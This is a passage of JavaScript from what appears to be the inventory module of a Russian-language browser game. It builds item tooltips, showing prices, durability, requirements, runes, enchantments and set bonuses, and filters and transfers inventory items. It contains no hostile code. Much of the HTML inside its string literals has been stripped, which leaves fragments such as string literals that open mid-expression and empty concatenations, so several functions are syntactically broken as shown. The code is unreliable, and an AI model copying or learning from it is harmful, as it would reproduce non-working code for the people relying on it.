',{ move:'#main', x:110, y:90, s:'min-width:300px;', html:html }); bk.chat.restartMoveActions(); $('#itm_gain_use_inp').focus(); } } }, itemInfo:function(id,size) { if( size == undefined ) { size = ''; }else{ size = 'width:'+size+';' } var html = ''; if( bk.infos.items[id] != undefined ) { var itm = bk.infos.items[id]; if( typeof(itm) == 'string' ) { itm = $.parseJSON(itm); } html = ''; }else{ var itm = '[ItmInfUndefined]'; } return html; }, adiOpenItem:function(id) { $.post('/_main.pl',{ 'adiOpenItem':id },function(data) { if( typeof(data) == 'string' ) { data = $.parseJSON(data); } if( data.good != undefined ) { //Обновляем предмет-цель if( data.new_item_data != undefined ) { var ii = bk.inf.getItemById(bk.user.items,id); if( ii != false ) { if( typeof(data.new_item_data.data) == 'string' ) { data.new_item_data.data = $.parseJSON(data.new_item_data.data); } bk.user.items[ii[0]].data = data.new_item_data.data; bk.user.items[ii[0]].upd = data.new_item_data.upd; } } //Удаляем усилитель bk.mod.inventory.removeItem(-1,id); if( data.meitems != undefined ) { bk.user.items = data.meitems; } //Переходим в инвентарь bk.mod.inventory.getRz(bk.mod.inventory.rz); bk.chat.favorites_update_test(); } if( data.error != undefined ) { bk.mod.inventory.error(data.error,5); } }); }, itemInfoInvCache:{}, itemInfoInv_ln:0, itemInfoInv:function(ic,itm,iix,pars) { var iln = 0; //строк в предмете if( itm != undefined && itm.data != undefined ) { if( pars == undefined ) { pars = {}; } var html = ''; if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } //var url_enc = itm.data.img.replaceAll('.gif',''); //url_enc = url_enc.replaceAll('.png',''); var url_enc = bk.inf.urlEncItem(itm); var addname = ''; var sharp = 0; if( itm.data.gain_in != undefined && itm.data.gain_in.sharp != undefined ) { var i = 0; while( i < itm.data.gain_in.sharp.length ) { if( itm.data.gain_in.sharp[i].title != undefined && itm.data.gain_in.sharp[i].title != '' ) { addname += ' '+itm.data.gain_in.sharp[i].title; } if( itm.data.gain_in.sharp[i].add != undefined && itm.data.gain_in.sharp[i].add[0] != undefined && ( itm.data.gain_in.sharp[i].add[0][0] == 116 || itm.data.gain_in.sharp[i].add[0][0] == 117 ) ) { sharp += parseInt(itm.data.gain_in.sharp[i].add[0].add); } i++; } /* if( sharp > 0 ) { addname += ' +'+sharp; }else if( sharp != 0 ) { addname += ' '+sharp; } */ } if( itm.x > 1 ) { addname += ' (x'+itm.x+')'; } if( itm.data.magic != undefined && itm.data.magic.id != undefined && bk.infos.eff[itm.data.magic.id] != undefined ) { var ieff = bk.infos.eff[itm.data.magic.id]; }else{ var ieff = false; } if( pars.only_right_info == undefined ) { html += '
'; html += '
'; /* left block */ html += '
'; if( itm.data.iznosNOW >= itm.data.iznosMAX*bk.mcfg.itm_bkreaking_prc ) { if( itm.data.type == 30 ) { html += ''; }else{ html += ''; } }else if( itm.data.magic != undefined && bk.infos.eff[itm.data.magic.id] != undefined && bk.infos.eff[itm.data.magic.id].magic_inc != undefined && bk.infos.eff[itm.data.magic.id].magic_inc == 1 ) { html += ''; } html += ''; //if( itm.id != undefined ) { // html += '
(id'+itm.id+')
'; //} html += '
'; if( ic.type != undefined && ic.type == 1 && itm.data.additionaly != undefined ) { if( itm.data.additionaly[0] != undefined ) { html += '
Открыть
'; } } //Исп-ть , Открыть , Надеть , Выбросить if( ic.xz_runes != undefined ) { html += '
Выбрать
'; }else if( ic.xz_items != undefined ) { html += '
Выбрать
'; }else if( ic.auction_add != undefined ) { html += '
выставить
'; }else if( ic.commission_add != undefined ) { html += '
cдать в магазин
'; }else if( ic.post_transfer != undefined ) { html += '
передать за 1 кр.
'; }else if( ic.clan_transfer != undefined ) { html += '
Положить
'; }else if( ic.gain != undefined ) { html += `
Выбрать
`; }else if( ic.gifts_in != undefined ) { html += `
Выбрать
`; }else if( ic.inshowcase != undefined ) { html += `
В рюкзак
`; }else if( ic.inchest != undefined ) { html += `
В рюкзак
`; }else if( ic.pet_showcase != undefined ) { if( itm.data.tr == undefined ) { itm.data.tr = [0]; }else if( itm.data.tr[0] == undefined ) { itm.data.tr[0] = 0; } if( itm.data.tr[0] <= bk.mod.pet.pet.level ) { var lvlrz = bk.mod.pet.pet.level - itm.data.tr[0]; if( lvlrz < 0 ) { lvlrz = 0; } var eda = 0; if( itm.data.params != undefined && itm.data.params.add_eda != undefined ) { eda = itm.data.params.add_eda; } eda = Math.round(eda/100*(100 - lvlrz*20)); if( eda < 1 ) { eda = 1; } html += `
Скормить
(Сытость +${eda})
`; } }else if( ic.hostel_showcase != undefined ) { html += `
Под стекло
`; }else if( ic.hostel_chest != undefined ) { html += `
В сундук
`; }else if( pars.itemloc != undefined ) { html += '
'; if( pars.itemloc.winner == bk.user.uid || pars.itemloc.uid == bk.user.uid ) { html += 'Взять'; }else{ html += '
Спорный предмет
'; if( bk.mod.itemsloc.testDis(bk.user.uid,pars.itemloc) == false ) { html += 'Разыграть'; } } if( bk.mod.itemsloc.testDis(bk.user.uid,pars.itemloc) == false ) { html += '   X   '; } html += '
'; }else if( ic.readlist != undefined ) { html += 'id:('+itm.id+')'; if( itm.inodet > 0 ) { html += '
Предмет надет'; } if( ic.readlist_html != undefined ) { html += ic.readlist_html; } }else if( ic.transfer_see != undefined ) { }else if( ic.transfer != undefined ) { html += '
подарить
'; html += '
передать
(налог: 1 кр.)
'; }else if( pars.block_buttons != undefined ) { html += pars.block_buttons; }else if(itm.block_buttons != undefined ) { html += itm.block_buttons; }else{ if( this.testItemsTr(itm) == true ) { if( itm.data.type == 36 && itm.data.itemsin != undefined ) { html += 'исп-ть
'; }else if( itm.data.type == 37 ) { html += 'исп-ть
'; }else if( itm.data.gain != undefined && itm.data.gain.length > 0 ) { if( itm.data.gain[0] != undefined && itm.data.gain[0].destiny != undefined && parseInt(itm.data.gain[0].destiny) > 0 ) { html += 'исп-ть
'; }else{ html += 'исп-ть
'; } }else if( ieff != false ) { html += 'исп-ть
'; } if( itm.data.slot > 0 ) { html += 'надеть'; } } if( itm.data.group != undefined && itm.data.group > 1 ) { html += ' '; if( itm.x > 1 ) { html += ' '; html += ' '; } } if( itm.data.slot > 0 || ieff != false ) { html += ' '; } if( itm.data.nodelete == undefined ) { html += ' '; } } /* left block */ html += '
'; } if( pars.only_right_info == undefined ) { html += '
'; } if( pars.block_top != undefined ) { html += '
'+pars.block_top+'
'; } /* right block */ html += ''+itm.data.name+addname+''; html += '   '; html += ' '; if( itm.data.mass != undefined ) { html += ' (Масса: '+itm.data.mass+')'; } //Иконки if( itm.data.art != undefined ) { html += ' '; } if( itm.data.gift != undefined ) { html += ' '; } if( itm.data.destiny != undefined ) { if( itm.data.destiny.login != undefined ) { html += ' '; }else if( itm.data.destiny.type == 2 ) { html += ' '; }else if( itm.data.destiny.type == 1 ) { html += ' '; } } if( itm.data.uniq != undefined ) { html += ' '; } /* item info */ html += '
'; if( pars.block_undername != undefined ) { html += pars.block_undername; } if( bnk == undefined ) { if( bk.mod.bank == undefined ) { var bnk = false; }else{ var bnk = bk.mod.bank.testActiveBank(); } } if( itm.data.prc2 != undefined && itm.data.prc2 != 0 ) { //if( pars.shop != undefined ) { // html += '
Цена: '+itm.data.prc2+' екр.
'; //}else{ html += '
Цена: '+Math.max(0,itm.data.prc2).toFixed(2)+' екр.
'; //} } if( itm.data.prc1 != undefined && itm.data.prc1 != 0 ) { //if( pars.shop != undefined && itm.data.prc1 > bk.user.money ) { // html += '
Цена: '+itm.data.prc1+' кр.
'; //}else{ html += '
Цена: '+Math.max(0,itm.data.prc1).toFixed(2)+' кр.
'; //} } if( itm.data.iznosMAX != undefined && itm.data.iznosMAX < 100000000 ) { if( itm.data.iznosMAX > 0 ) { if( itm.data.iznosNOW == undefined ) { itm.data.iznosNOW = 0; } if( itm.data.iznosNOW >= itm.data.iznosMAX*bk.mcfg.itm_bkreaking_prc ) { html += '
Долговечность: '+Math.floor(itm.data.iznosNOW)+'/'+Math.ceil(itm.data.iznosMAX)+'
'; }else{ html += '
Долговечность: '+Math.floor(itm.data.iznosNOW)+'/'+Math.ceil(itm.data.iznosMAX)+'
'; } } }else{ html += '
Долговечность: неразрушимо
'; } if( itm.data.srok != undefined && itm.data.srok > 0 ) { html += '
'; if( itm.time != undefined ) { if( typeof(itm.data.srok) == 'string' ) { itm.data.srok = parseInt(itm.data.srok); } if( itm.time+itm.data.srok - bk.chat.timeNow() < 1 * 86400 ) { html += ''; html += 'Срок годности: '+bk.chat.timeOut(itm.data.srok); html += ' (до '+jsdate('d.m.Y H:i',itm.time+itm.data.srok)+')'; }else{ html += 'Срок годности: '+bk.chat.timeOut(itm.data.srok); html += ' (до '+jsdate('d.m.Y H:i',itm.time+itm.data.srok)+')'; } }else{ html += 'Срок годности: '+bk.chat.timeOut(itm.data.srok); } html += '
'; } if( ieff != false ) { /*if( ieff.data != undefined ) { if( typeof ieff.data == 'string' ) { ieff.data = $.parseJSON(ieff.data); } if( ieff.data.time != undefined && ieff.data.time > 0 ) { html += '
Продолжительность действия магии: '+bk.chat.timeOut(ieff.data.time)+'
'; } }else */ if( ieff.time > 0 ) { html += '
Продолжительность действия магии: '+bk.chat.timeOut(ieff.time)+'
'; } } html += '
'; /* требуется минимальное */ var dhtml = ''; if( itm.data.tr != undefined ) { var i = 0; while( i < this.addpar.length ) { if( this.addpar[i] != undefined && this.addpar[i][0] >= 0 ) { var j = this.addpar[i]; if( itm.data.tr[j[0]] != undefined ) { if( j[0] == 0 && ic.pet_showcase != undefined && itm.data.tr[0] > bk.mod.pet.pet.level ) { dhtml += '
• '+j[1]+': '+itm.data.tr[j[0]]+'
'; }else if( pars.turitm != undefined && bk.zayvki.testParTrTur(j[0],itm.data.tr[j[0]]) == false ) { dhtml += '
• '+j[1]+': '+itm.data.tr[j[0]]+'
'; }else if( pars.turitm == undefined && this.testParTr(j[0],itm.data.tr[j[0]]) == false ) { dhtml += '
• '+j[1]+': '+itm.data.tr[j[0]]+'
'; }else{ dhtml += '
• '+j[1]+': '+itm.data.tr[j[0]]+'
'; } } } i++; } dhtml += this.addbron(itm.data.tr); } if( itm.data.uniq != undefined ) { dhtml += '
= itm.data.uniq ) { dhtml += ' style="color:red"'; } dhtml += '>Максимум: '+itm.data.uniq+' ед.
'; } if( dhtml != '' ) { html += '
'; html += 'Требуется минимальное:'+dhtml; html += '
'; } //Усиления var gain_add = [] , gain_sv = []; if( itm.data.gain_in != undefined ) { var gain_in = ['rune','enchan','sharp']; var ji = 0; while( ji < gain_in.length ) { if( itm.data.gain_in[gain_in[ji]] != undefined ) { var gi = 0; while( gi < itm.data.gain_in[gain_in[ji]].length ) { var j = 0; while( j < itm.data.gain_in[gain_in[ji]][gi].add.length ) { if( itm.data.gain_in[gain_in[ji]][gi].add[j][0] == 116 || itm.data.gain_in[gain_in[ji]][gi].add[j][0] == 117 ) { if( gain_sv[itm.data.gain_in[gain_in[ji]][gi].add[j][0]] == undefined ) { gain_sv[itm.data.gain_in[gain_in[ji]][gi].add[j][0]] = 0; } gain_sv[itm.data.gain_in[gain_in[ji]][gi].add[j][0]] += parseInt(itm.data.gain_in[gain_in[ji]][gi].add[j].add); }else{ if( gain_add[itm.data.gain_in[gain_in[ji]][gi].add[j][0]] == undefined ) { gain_add[itm.data.gain_in[gain_in[ji]][gi].add[j][0]] = 0; } gain_add[itm.data.gain_in[gain_in[ji]][gi].add[j][0]] += parseInt(itm.data.gain_in[gain_in[ji]][gi].add[j].add); } j++; } gi++; } } ji++; } if( itm.data.add == undefined ) { itm.data.add = []; } if( itm.data.sv == undefined ) { itm.data.sv = []; } } /* действует на */ var dhtml = ''; var hideadd = {}; //Количество увеличений if( itm.data.add != undefined ) { if( itm.uid == undefined ) { if( itm.data.add[185] != undefined && itm.data.add[185] != 0 ) { dhtml = '
• Количество увеличений мф.: '+itm.data.add[185]+'
'+dhtml; } if( itm.data.add[184] != undefined && itm.data.add[184] != 0 ) { dhtml = '
• Количество увеличений владений: '+itm.data.add[184]+'
'+dhtml; } if( itm.data.add[183] != undefined && itm.data.add[183] != 0 ) { dhtml = '
• Количество увеличений: '+itm.data.add[183]+'
'+dhtml; } }else{ if( itm.data.add[185] != undefined && itm.data.add[185] != 0 ) { var listup = ''; var i = 14; while( i <= 17 ) { listup += '
'; var parv = this.addpar.filter(function(obj) { return obj[0] == i; }); if( itm.data.add[185] > 0 ) { listup += ' '; } hideadd[parv[0][0]] = true; listup += ' 0 ) { stv = '+'+itm.data.add[parv[0][0]]+''; }else{ stv += itm.data.add[parv[0][0]]; } } listup += stv; listup += '
'; i++; } dhtml = `
Количество увеличений мф.: ${itm.data.add[185]}   ${listup}
`+dhtml; } if( itm.data.add[184] != undefined && itm.data.add[184] != 0 ) { var listup = ''; var i = 84; while( i <= 97 ) { if( i != 89 && i != 90 ) { listup += '
'; var parv = this.addpar.filter(function(obj) { return obj[0] == i; }); if( itm.data.add[184] > 0 ) { listup += ' '; } hideadd[parv[0][0]] = true; listup += ' 0 ) { stv = '+'+itm.data.add[parv[0][0]]+''; }else{ stv += itm.data.add[parv[0][0]]; } } listup += stv; listup += '
'; } i++; } dhtml = `
Количество увеличений владений: ${itm.data.add[184]}   ${listup}
`+dhtml; } if( itm.data.add[183] != undefined && itm.data.add[183] != 0 ) { var listup = ''; var i = 3; while( i <= 7 ) { if( i != 6 ) { var parv = this.addpar.filter(function(obj) { return obj[0] == i; }); listup += '
'; if( itm.data.add[183] > 0 ) { listup += ' '; } hideadd[parv[0][0]] = true; listup += ' 0 ) { stv = '+'+itm.data.add[parv[0][0]]+''; }else{ stv += itm.data.add[parv[0][0]]; } } listup += stv; listup += '
'; } i++; } dhtml = `
Количество увеличений: ${itm.data.add[183]}   ${listup}
`+dhtml; } } } if( itm.data.add != undefined ) { var i = 0; while( i < this.addpar.length ) { if( this.addpar[i] != undefined && this.addpar[i][0] >= 0 ) { var j = this.addpar[i]; if( hideadd[j[0]] != undefined ) { // }else if( itm.data.add[j[0]] != undefined || gain_add[j[0]] != undefined ) { var val = 0; if( itm.data.add[j[0]] != undefined ) { val += parseInt(itm.data.add[j[0]]); } if( gain_add[j[0]] != undefined ) { val += gain_add[j[0]]; } dhtml += '
• '+j[1]+': '+this.minplus(val)+'
'; } } i++; } dhtml += this.addbron(itm.data.add); } //действует на (магия) if( ieff != false ) { if( ieff.dataeff != undefined ) { var i = 0; while( i < this.addpar.length ) { if( this.addpar[i] != undefined && this.addpar[i][0] >= 0 ) { var j = this.addpar[i]; if( ieff.dataeff[j[0]] != undefined ) { dhtml += '
• '+j[1]+': '+this.minplus(ieff.dataeff[j[0]])+'
'; } } i++; } dhtml += this.addbron(ieff.dataeff); } } if( dhtml != '' ) { html += '
'; html += 'Действует на:'+dhtml; html += '
'; } /* свойства предмета */ var dhtml = ''; if( itm.data.sv != undefined ) { var i = 0; while( i < this.addpar.length ) { if( this.addpar[i] != undefined && this.addpar[i][0] >= 0 ) { var j = this.addpar[i]; if( itm.data.sv[j[0]] != undefined || gain_sv[j[0]] != undefined ) { var val = 0; if( gain_sv[j[0]] != undefined ) { val += gain_sv[j[0]]; } dhtml += '
• '+j[1]+': '+this.par_val(j[0],itm.data.sv,val)+'
'; } } i++; } dhtml += this.addbron(itm.data.sv); } //Второе оружие if( itm.data.too2 != undefined && itm.data.too2 == 1 ) { dhtml += '
• Второе оружие
'; } //Двуручное оружие if( itm.data.h2 != undefined && itm.data.h2 == 1 ) { dhtml += '
• Двуручное оружие
'; } //Зоны блокирования if( itm.data.slot == 3 || itm.data.slot == 10 ) { if( itm.data.type != 13 ) { if( ( itm.data.sv != undefined && itm.data.sv[114] != undefined ) || ( itm.data.type != 38 && itm.data.type != 39 ) ) { dhtml += '
• Зоны блокирования: '; if( itm.data.sv != undefined && itm.data.sv[114] != undefined ) { if( itm.data.sv[114] > 0 ) { dhtml += '++'; }else{ dhtml += '—'; } }else{ dhtml += '+'; } dhtml += '
'; } } } // Часть комплекта if (itm.data.os !== undefined) { const osId = itm.data.os[164]; if (osId !== undefined) { let complIndex = this.getById(bk.infos.bonus_complects, 'id', osId); if (complIndex !== -1 && bk.infos.bonus_complects[complIndex] !== undefined) { let compl = bk.infos.bonus_complects[complIndex]; dhtml += `
Часть комплекта: ${compl.name}
`; if (typeof compl.data === 'string') { compl.data = JSON.parse(compl.data); // Обработка строки как JSON } dhtml += '
'; const keys = Object.keys(compl.data); keys.forEach((key, ci) => { if (compl.data[key] !== undefined) { dhtml += `
${key}:`; let cj = 0; // Счетчик для подгрупп параметров this.addpar.forEach((param) => { if (param !== undefined && param[0] >= 0) { const paramKey = param[0]; if (compl.data[key][paramKey] !== undefined) { let prjc = `${param[1]}: `; prjc += (compl.data[key][paramKey] >= 0) ?` +${compl.data[key][paramKey]} `:` ${compl.data[key][paramKey]}`; if (cj > 0) { dhtml += `
${prjc}
`; } else { dhtml += ` ${prjc}`; } cj++; } } }); dhtml += '
'; // Закрытие div для параметра } }); dhtml += '
'; // Закрытие small div } } } if( dhtml != '' ) { html += '
'; html += 'Свойства предмета:'+dhtml; html += '
'; } /* особенности предмета */ var dhtml = ''; if( itm.data.os != undefined ) { var i = 0; while( i < this.addpar.length ) { if( this.addpar[i] != undefined && this.addpar[i][0] >= 0 ) { var j = this.addpar[i]; if( ( ( j[0] >= 101 && j[0] <= 111 ) ) && itm.data.os[j[0]] != undefined ) { if( j[0] >= 101 && j[0] <= 111 ) { if( this.additionalAttacksCount[itm.data.os[j[0]]] != undefined ) { dhtml += '
• '+j[1]+': '+this.additionalAttacksCount[8-itm.data.os[j[0]]]; dhtml += '
'; }else{ dhtml += '
• '+j[1]+': '+itm.data.os[j[0]]; dhtml += ' (??)
'; } }else{ dhtml += '
• '+j[1]+': '+itm.data.os[j[0]]; //if( j[0] >= 101 && j[0] <= 111 ) { // dhtml += '%'; //} dhtml += '
'; } } } i++; } dhtml += this.addbron(itm.data.os); } if( dhtml != '' ) { html += '
'; html += 'Особенности:'+dhtml; html += '
'; } /* Гравировка */ if( itm.data.engraving != undefined ) { if( itm.data.engraving[4] == undefined ) { itm.data.engraving[4] = 1; } if( itm.data.engraving[2] == undefined ) { itm.data.engraving[2] = '*Неизвестно*'; } var itm_title_name = { 18:'лезвии', 19:'ручке', 20:'ручке', 21:'клинке', 22:'посохе' }; if( itm_title_name[itm.type] == undefined ) { itm_title_name = 'поверхности'; } html += '
На '+itm_title_name+' выгравирована надпись:'; html += '
'+itm.data.engraving[0]+'
'; html += '
'; } //На предмете записан текст: if( itm.data.textin != undefined ) { html += '
На предмете записан текст:
'; html += `
${itm.data.textin}
`; } /* small info */ var shtml = ''; //действует на (магия) if( ieff != false ) { if( ieff.magic_inc == 1 ) { html += '
Встроено заклятие '; html += ''; if( ieff.mi_lim_battle != undefined && ieff.mi_lim_battle > 0 ) { html += ' '+ieff.mi_lim_battle+' шт. на бой'; } if( ieff.mi_lim_day != undefined && ieff.mi_lim_day > 0 ) { html += ' '+ieff.mi_lim_day+' шт. в сутки'; } html += '
'; } } //Усиления if( itm.data.gain_in != undefined ) { //Выгравирована руна [1] if( itm.data.gain_in.rune != undefined ) { var gi = 0; while( gi < itm.data.gain_in.rune.length ) { html += '
Выгравирована руна ['+(gi+1)+']:'; var gi_add = ''; var j = 0; while( j < itm.data.gain_in.rune[gi].add.length ) { gi_add += '
• '+bk.inf.stat_info[bk.inf.i_to_mf[itm.data.gain_in.rune[gi].add[j][0]]]+': '; if( itm.data.gain_in.rune[gi].add[j].add > 0 ) { gi_add += '+'; } gi_add += itm.data.gain_in.rune[gi].add[j].add; j++; } html += `
${itm.data.gain_in.rune[gi].enc.data.name}${gi_add}
`; html += '
'; gi++; } } //Усиление Зачарование [1] if( itm.data.gain_in.enchan != undefined ) { var gi = 0; while( gi < itm.data.gain_in.enchan.length ) { html += '
Усиление ['+(gi+1)+']:'; var gi_add = ''; var j = 0; while( j < itm.data.gain_in.enchan[gi].add.length ) { if( bk.inf.i_to_mf[itm.data.gain_in.enchan[gi].add[j][0]] == undefined ) { if( bk.inf.i_to_mf[itm.data.gain_in.enchan[gi].add[j][0]] == undefined ) { gi_add += '
mf% '+itm.data.gain_in.enchan[gi].add[j][0]+': '; }else{ gi_add += '
Mf% '+bk.inf.i_to_mf[itm.data.gain_in.enchan[gi].add[j][0]]+': '; } }else{ gi_add += '
• '+bk.inf.stat_info[bk.inf.i_to_mf[itm.data.gain_in.enchan[gi].add[j][0]]]+': '; } if( itm.data.gain_in.enchan[gi].add[j].add > 0 ) { gi_add += '+'; } gi_add += itm.data.gain_in.enchan[gi].add[j].add; j++; } html += `
${itm.data.gain_in.enchan[gi].enc.data.name}${gi_add}
`; html += '
'; gi++; } } } if( itm.data.burn != undefined && itm.data.burn != '' ) { let burn = itm.data.burn.split('|'); html += '
Наложено заклятье: '+burn[0]+'
'; } if( itm.data.info != undefined && itm.data.info != '' ) { if( itm.data.info.includes('without-info-text') ) { shtml += '
'+itm.data.info+'
'; }else{ shtml += '
Описание:
'+itm.data.info+'
'; } } if( itm.data.maidintext != undefined && itm.data.maidintext != '' ) { }else if( itm.data.maidin != undefined ) { shtml += '
Сделано в '+bk.inf.city[itm.data.maidin][1]+'
'; }else{ shtml += '
Сделано в Capital city
'; } if( itm.data.destiny != undefined && itm.data.destiny.login == undefined ) { if( itm.data.destiny.type == 2 ) { shtml += '
Этот предмет будет связан общей судьбой с первым, кто наденет его. Предмет будет нельзя передать другим персонажам.
'; }else if( itm.data.destiny.type == 1 ) { shtml += '
Этот предмет будет связан общей судьбой с первым, кто получит его. Предмет будет нельзя передать другим персонажам.
'; } } if( itm.data.noremont != undefined ) { shtml += '
Предмет не подлежит ремонту
'; } if( itm.data.fromdng != undefined ) { shtml += '
Предмет из подземелья
'; } if( itm.data.nosale != undefined ) { shtml += '
Предмет нельзя продать
'; } if( itm.data.exitdngremove != undefined ) { shtml += '
Предмет исчезнет после выхода из подземелья
'; } if( itm.data.yesmodif != undefined && itm.data.yesmodif > 0 ) { shtml += '
Предмет можно модифицировать в ремонтной мастерской
'; } if( itm.data.maidintext != undefined && itm.data.maidintext != '' ) { shtml += '
'+itm.data.maidintext+'
'; } if( shtml != '' ) { html += ''+shtml+''; } if( itm.data.info2 != undefined ) { html += '

'+itm.data.info2+'
'; } /* right block */ if( pars.only_right_info == undefined ) { html += '
'; } if( pars.itemloc != undefined ) { html += '
'; html += '
Участники розыгрыша:
'; var dishtml = ''; var i = 0, wnr = 0 , wnrval = 0; while( i < pars.itemloc.dispute.length ) { if( i > 0 ) { dishtml += ', '; } dishtml += ''; dishtml += bk.chat.login(1,pars.itemloc.dispute[i].uid,pars.itemloc.dispute[i].login,pars.itemloc.dispute[i].level,pars.itemloc.dispute[i].align,pars.itemloc.dispute[i].clan); if( pars.itemloc.dispute[i].val == 0 ) { dishtml += ' (Отказался)'; }else{ dishtml += ' (Выбросил: '+pars.itemloc.dispute[i].val+')'; } if( pars.itemloc.dispute[i].val > wnrval ) { wnr = pars.itemloc.dispute[i].id; wnrval = pars.itemloc.dispute[i].val; } dishtml += ''; i++; } if( wnrval > 0 ) { dishtml += ''; } if( dishtml == '' ) { dishtml = '
Нет участников
'; } html += dishtml; var timestart = bk.zayvki.timeZvStart(pars.itemloc.time_dispute); if( timestart == -1 ) { timestart = '-0.0'; } html += '

Время до розыгрыша: '+timestart+' мин.
'; html += '
'; } html += '
'; } return html; }, getById:function(data,id_nm,id) { var r = -1; var i = 0; while( i < data.length ) { if( data[i][id_nm] == id ) { return i; } i++; } return r; }, showIntext:function(obj) { console.log($($(obj).parent()[0]).css('height')); if( $($(obj).parent()[0]).css('height') == '48px' ) { $($(obj).parent()[0]).css({ 'height':'auto' }); }else{ $($(obj).parent()[0]).css({ 'height':'48px' }); } }, add180win:function(e,itemid,par,addst) { var html = ''; var parv = this.addpar.filter(function(obj) { return obj[0] == addst; }); html += '
'+parv[0][1]+'
'; html += ''; html += ''; html += 'X'; if( $('.add180win')[0] == undefined ) { $('#main').prepend('
'+html+'
'); }else{ $('.add180win').html(html); } $('.add180win').css({ 'top':( e.clientY )+'px', 'left':( e.clientX )+'px' }); $('#add180win-val').focus(); }, add180winPlus:function(par,addst) { bk.loadbtn('#add180win-btn-save',true); $.post('/_main.pl',{ 'up_item_pars':$('#add180win-val').attr('itemid'), 'par':par, 'addst':addst, 'val':$('#add180win-val').val() },function(data){ if( typeof(data) == 'string' ) { data = $.parseJSON(data); } if( data.meitems != undefined ) { bk.user.items = data.meitems; bk.mod.inventory.run(); } if( data.error != undefined ) { bk.mod.inventory.error(data.error,5); } $('.add180win').remove(); }); }, par_val:function(p,v,sharp) { if( p == 116 ) { return (parseInt(v[116])+sharp)+'-'+(parseInt(v[117])+sharp); }else{ return this.minplus(v[p]); } }, invFilter:1, invNameFilter:'', filterStart:function() { this.invFilter = parseInt($('#inv_sort_filter').val()); bk.mods.run('inventory'); }, filterByNameStart:function() { this.invNameFilter = bk.cutTegs($('#inv_filter_name').val()); bk.mods.run('inventory'); }, genInvItems:function(ic) { var html = ''; var noseelist = {}; if( ic.transfer != undefined && bk.mod.transfers.transfer != false ) { if( typeof(bk.mod.transfers.transfer.items) == 'string' ) { bk.mod.transfers.transfer.items = $.parseJSON(bk.mod.transfers.transfer.items); } var ab = 1; if( bk.mod.transfers.transfer.uid2 == bk.user.uid ) { ab = 2; } var i = 0; while( i < bk.mod.transfers.transfer.items['items'+ab].length ) { noseelist[bk.mod.transfers.transfer.items['items'+ab][i].id] = true; i++; } } var i = 0 , x = 0 , arr_html = []; while( i < bk.user.items.length ) { if( noseelist[bk.user.items[i].id] == undefined && bk.user.items[i].inodet == 0 ) { var itm = bk.user.items[i]; if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } var itm_see = true; if( itm.time != undefined && itm.data.srok != undefined && itm.data.srok > 0 ) { if( itm.time+itm.data.srok - bk.chat.timeNow() < 1 ) { itm_see = false; } } // fix fast1 if( itm.data.rz == 0 ) { itm.data.rz = 1; } var itm_see_notr = false; if( ic.gifts_in != undefined ) { if( itm.data.name.toLowerCase().indexOf(ic.gifts_in_name.toLowerCase()) == -1 || itm.data.type == 37 || ( itm.data.destiny != undefined && itm.data.destiny.login != undefined ) || itm.data.gift != undefined || itm.data.notransfer != undefined ) { itm_see_notr = false; }else{ itm_see_notr = true; } }else if( ic.gain != undefined ) { var seegain = false; var ji = 0; while( ji < ic.gain.data.gain.length ) { if( itm.data.slot != undefined && itm.data.slot > 0 && itm.data.slot <= 16 && itm.data.name.toLowerCase().indexOf(ic.gain_name.toLowerCase()) != -1 ) { if( parseInt(ic.gain.data.gain[ji].slot) > 0 && parseInt(ic.gain.data.gain[ji].slot) != itm.data.slot ) { }else if( parseInt(ic.gain.data.gain[ji].type) > 0 && parseInt(ic.gain.data.gain[ji].type) != itm.data.type ) { }else{ seegain = true; } } ji++; } itm_see_notr = seegain; }else{ //Обычная проверка if( ic.inv_xz != undefined && itm.data.add_rep != undefined && itm.data.add_rep > 0 ) { itm_see_notr = true; }else if( ( itm_see == true && ( itm.data.rz == this.rz || ( ic.inv_rz != undefined && ic.inv_rz == itm.data.rz ) ) && ( this.invNameFilter == '' || itm.data.name.toLowerCase().indexOf(this.invNameFilter.toLowerCase()) != -1 ) ) ) { itm_see_notr = true; } } if( ic.pet_showcase != undefined ) { if( itm.data.type != 49 ) { itm_see_notr = false; }else{ if( itm.data != undefined ) { if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } if( itm.data.params != undefined ) { if( typeof(itm.data.params) == 'string' ) { itm.data.params = $.parseJSON(itm.data.params); } if( itm.data.params.pets == undefined || itm.data.params.pets.includes(bk.mod.pet.pet.type) == false ) { itm_see_notr = false; } } } } } if( ic.post_transfer != undefined || ic.commission_add != undefined ) { if( itm.data.destiny != undefined && itm.data.destiny.login != undefined ) { itm_see_notr = false; } }else if( ic.xz_items != undefined ) { if( bk.mod.xz_items.itemsSelID(itm.id) >= 0 ) { itm_see_notr = false; }else{ let xz_items_good_slots = [1,3,5,6,8,9,10,11,12,14,15,18,19,20,21]; if( itm.data.add_rep != undefined ) { }else if( bk.inArray(itm.data.type,xz_items_good_slots) == false ) { itm_see_notr = false; }else if( itm.data.tr != undefined && itm.data.tr[0] != undefined && itm.data.tr[0] < 4 ) { itm_see_notr = false; } } }else if( ic.xz_runes != undefined ) { if( bk.mod.xz_runes.itemsSelID(itm.id) >= 0 || itm.data.type != 31 ) { itm_see_notr = false; }else{ if( bk.mod.xz_runes.itemsSel[0] != undefined ) { var rnv1 = itm.data.img.split('_'); var rnv2 = bk.mod.xz_runes.itemsSel[0].data.img.split('_'); if( rnv1[1] != rnv2[1] || rnv1[2] != rnv2[2] ) { itm_see_notr = false; } } } } if( itm_see_notr == true ) { //html += '
'+this.itemInfoInv(ic,itm,i)+'
'; var itm_lvl = 0; if( itm.data.tr != undefined && itm.data.tr[0] != undefined ) { itm_lvl = parseInt(itm.data.tr[0]); } var itm_html = ''; itm_html = this.itemInfoInv(ic,itm,i); var xbr = itm_html.split(''+itm_html+'', 'html_hide': '
'+bk.mod.inventory.skeletonItem(i)+'
